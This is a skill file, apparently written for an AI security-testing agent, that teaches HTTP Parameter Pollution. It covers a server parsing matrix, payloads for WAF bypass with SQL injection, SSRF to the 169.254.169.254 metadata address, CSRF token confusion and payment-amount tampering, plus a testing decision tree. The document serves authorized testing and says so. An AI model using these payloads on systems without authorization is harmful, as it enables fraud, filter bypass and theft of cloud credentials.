---name: http-parameter-pollutiondescription: >-HTTP Parameter Pollution (HPP): duplicate query/body keys parsed differently by servers, proxies, WAFs, and app frameworks. Use when filters and application layers disagree on which value wins, enabling bypass, SSRF second URL, logic abuse, or CSRF token confusion.---

SKILL: HTTP Parameter Pollution (HPP)

AI LOAD INSTRUCTION: Model the full request path: browser → CDN/WAF → reverse proxy → app framework → business code. Duplicate keys (a=1&a=2) are not an error at HTTP level; each hop may pick first, last, join, or array-ify. Test HPP when WAF and app disagree, or when internal HTTP clients rebuild query strings. Routing note: when the same parameter appears multiple times, or WAF/backend stacks differ, use the Section 1 matrix to test first/last/merge assumptions, then design Section 3 scenario chains.

0. QUICK START

Hypothesis: the security check reads one occurrence of a parameter while the action reads another.

First-pass payloads

id=1&id=2
id=1&id=1%20OR%201=1
url=https://legit.example&id=https://evil.example
amount=1&amount=9999
csrf=TOKEN_A&csrf=TOKEN_B
user=alice&user=admin

Body variants (repeat for POST)

application/x-www-form-urlencoded
id=1&id=2

multipart/form-data
------boundary
Content-Disposition: form-data; name="id"
1
------boundary
Content-Disposition: form-data; name="id"
2

Quick methodology

1. Fingerprint front stack (CDN/WAF) vs origin (language/framework) using baseline a=1&a=2.
2. Send both orders: a=1&a=2 and a=2&a=1 (some parsers are order-sensitive).
3. If JSON: test duplicate keys and Content-Type confusion (see Section 2).

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1. SERVER BEHAVIOR MATRIX

Typical defaults — always confirm; middleware and custom parsers override these.

Technology	Behavior	Example: a=1&a=2
PHP / Apache ($_GET)	Last occurrence	a=2
ASP.NET / IIS	Often comma-joined (all)	a=1,2
JSP / Tomcat (servlet param)	First occurrence	a=1
Python / Django (QueryDict)	Last occurrence	a=2
Python / Flask (request.args)	First occurrence	a=1
Node.js / Express (req.query)	Array of values	a=['1','2'] (shape may vary by parser version)
Perl / CGI	First occurrence	a=1
Ruby / Rack (Rack::Utils)	Last occurrence	a=2
Go net/http (ParseQuery)	First occurrence	a=1

Why it matters: a WAF on IIS might see 1,2 while PHP backend receives 2 only — or the reverse if a proxy normalizes.

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2. PAYLOAD PATTERNS

2.1 Basic duplicate key

GET /api?q=safe&q=evil HTTP/1.1

2.2 Array-style (PHP / some frameworks)

GET /api?id[]=1&id[]=2 HTTP/1.1

2.3 Mixed array + scalar

GET /api?item[]=a&item=b HTTP/1.1

2.4 Encoded ampersand (parser differential)

# Literal & inside a value vs new pair — depends on decoder
param=value1%26other=value2
param=value1&other=value2

2.5 Nested / bracket keys

GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1

2.6 JSON duplicate keys

{"test":"user","test":"admin"}

Many parsers keep last key; some keep first. JavaScript JSON.parse keeps the last duplicate key.

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3. ATTACK SCENARIOS

3.1 HPP + WAF bypass

Pattern: WAF inspects first value; application uses last.

id=1&id=1%20UNION%20SELECT%20...

Also try: benign value in JSON field duplicated in query string, if gateway merges sources differently.

3.2 HPP + SSRF

Pattern: validator reads safe URL; fetcher reads internal/evil URL.

url=https://allowed.cdn.example/&url=http://169.254.169.254/

Confirm which component (library vs app) consumes which occurrence.

3.3 HPP + CSRF

Pattern: duplicate anti-CSRF token so one copy satisfies parser A and another satisfies parser B.

csrf=LEGIT&csrf=IGNORED_OR_ALT

Use only in authorized CSRF assessments with a clear state-changing target.

3.4 HPP + business logic (e.g. payment)

amount=1&amount=5000
quantity=1&quantity=-1
price=9.99&price=0.01

Pair with race conditions or server-side rounding for higher impact; HPP alone often needs a split interpretation across layers.

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4. TOOLS

Tool	How to use
Burp Suite	Repeater: duplicate keys in raw query/body; Param Miner / extensions for hidden params; compare responses for first vs last interpretation
OWASP ZAP	Manual Request Editor; Automated Scan may not deeply fuzz HPP — prefer manual variants
Custom scripts	Build exact raw HTTP (preserve ordering) — some clients normalize duplicates

Tip: log raw query strings at the app if you control a test lab; some frameworks expose only the “winning” value while logs show the full string.

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5. DECISION TREE

                    +-------------------------+
                    | Duplicate param name    |
                    | same request            |
                    +------------+------------+
                                 |
              +------------------+------------------+
              |                                     |
       +------v------+                       +------v------+
       | Single app  |                       | WAF / CDN / |
       | layer only  |                       | proxy chain |
       +------+------+                       +------+------+
              |                                     |
    +---------v---------+                 +---------v---------+
    | Read framework    |                 | Map each hop:     |
    | docs + test       |                 | first/last/join/  |
    | a=1&a=2 vs swap   |                 | array             |
    +---------+---------+                 +---------+---------+
              |                                     |
              +------------------+------------------+
                                 |
                          +------v------+
                          | Pick attack |
                          | template    |
                          +------+------+
                                 |
         +-----------+-----------+-----------+-----------+
         |           |           |           |           |
    +----v----+ +----v----+ +----v----+ +----v----+ +----v----+
    | WAF vs  | | SSRF    | | CSRF    | | Logic   | | JSON    |
    | app     | | split   | | token   | | numeric | | dup key |
    | value   | | URL     | | confuse | | fields  | | parsers |
    +---------+ +---------+ +---------+ +---------+ +---------+

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Safety & scope: HPP testing can change server state (payments, account settings). Run only where explicitly authorized, with scoped accounts, and document parser behavior before high-impact requests.